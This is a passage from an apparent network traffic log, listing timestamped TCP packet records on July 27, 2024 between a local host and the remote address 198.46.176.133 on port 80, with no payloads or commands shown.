Jul 27, 2024 13:30:02.613003016 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613018036 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613033056 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613035917 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.613049030 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613075018 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.613750935 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613773108 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613794088 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613809109 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613810062 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.613825083 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613837957 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.613842010 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613857031 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613872051 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.613877058 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.613903999 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.614703894 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.614720106 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.614734888 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.614748955 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.614758968 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.614763975 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.614779949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.614794970 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.614798069 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.614828110 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.614859104 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.615324974 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.615382910 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.615626097 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.615642071 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.615685940 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.615691900 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.615839958 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.615892887 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.616024971 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.616039991 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.616054058 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.616069078 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.616079092 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.616084099 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.616100073 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.616115093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.616116047 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.616142035 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.616960049 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.616976976 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.617038012 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.617103100 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.617119074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.617153883 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.617338896 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.617352962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.617388010 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.617393017 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.617408991 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.617424011 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.617441893 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.617480040 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.618097067 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.618112087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.618127108 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.618139982 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.618155003 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.618170023 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.618175983 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.618185997 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.618216038 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.619106054 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.619122028 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.619136095 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.619151115 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.619165897 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.619168997 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.619182110 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.619196892 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.619200945 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.619213104 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.619246006 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.620026112 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620042086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620055914 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620070934 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620079041 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.620086908 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620105982 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.620145082 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.620615005 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620630980 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620646000 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620661020 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620676041 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.620687962 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.620724916 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.621279955 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.621295929 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.621309996 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.621325016 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.621336937 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.621340990 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.621357918 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.621372938 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.621387959 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.621427059 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.622210026 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.622226000 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.622240067 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.622253895 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.622268915 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.622283936 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.622289896 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.622298956 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.622313976 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.622335911 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.622360945 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.623095989 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623111963 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623126030 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623141050 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623155117 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623172998 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.623215914 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.623663902 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623683929 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623698950 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623713017 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623718977 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.623728991 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623744965 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623759031 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623764992 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.623775959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.623807907 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.624670982 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624692917 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624706984 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624722004 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624722004 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.624739885 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624747992 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.624758005 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624773979 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624788046 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624789000 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.624804020 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624816895 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.624820948 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.624845028 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.625650883 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625667095 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625682116 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625696898 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625703096 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.625711918 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625727892 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625732899 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.625744104 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625761032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625771046 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.625777006 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625792027 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.625792027 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.625828028 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.626615047 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626631021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626645088 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626660109 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626667976 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.626677036 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626691103 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.626693964 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626712084 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626727104 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626728058 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.626751900 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626754999 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.626770973 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.626802921 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.627794981 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.627811909 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.627824068 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.627840042 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.627846003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.627856970 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.627868891 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.627872944 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.627890110 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.627902985 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.627928972 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.628127098 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628143072 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628158092 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628171921 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628185987 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628204107 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.628207922 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628242970 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.628262043 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.628710985 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628726959 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628741980 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628756046 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628774881 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.628782034 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.628808975 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.629209995 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629225969 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629240990 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629256010 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629259109 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.629275084 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629295111 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.629328012 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.629642010 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629657984 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629712105 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.629784107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629808903 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629823923 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.629856110 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.630593061 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.630647898 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.630789042 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.630804062 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.630853891 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.631105900 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.631120920 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.631135941 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.631150961 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.631167889 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.631194115 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.631706953 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.631722927 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.631781101 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.634454012 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.634728909 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.634756088 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.634779930 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.634864092 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.634881020 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.634897947 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.634913921 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.634917974 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.634944916 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.635567904 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.635584116 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.635600090 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.635613918 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.635628939 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.635638952 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.635669947 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.635704041 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.636497974 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.636523962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.636539936 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.636555910 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.636569977 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.636570930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.636590004 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.636607885 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.636634111 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.637449026 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.637465954 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.637480021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.637495041 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.637510061 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.637526035 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.637528896 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.637542963 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.637568951 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.638773918 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.638789892 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.638804913 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.638819933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.638819933 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.638838053 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.638854027 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.638854027 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.638860941 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.638878107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.638892889 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.638900042 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.638925076 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.638976097 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.639313936 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639331102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639345884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639360905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639364958 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.639378071 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639394999 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.639431953 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.639800072 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639816046 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639830112 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639843941 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639858961 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639873981 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639878035 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.639890909 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.639925003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.640755892 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.640773058 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.640786886 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.640801907 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.640806913 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.640818119 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.640834093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.640835047 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.640851021 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.640866995 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.640883923 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.640913010 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.641608953 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641627073 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641640902 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641657114 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641659975 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.641673088 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641689062 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641700983 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.641704082 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641720057 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641736984 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.641745090 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.641793013 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:02.642658949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642676115 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642690897 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642707109 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:02.642719984 CEST	49730	80	192.168.2.4	198.46.176.133
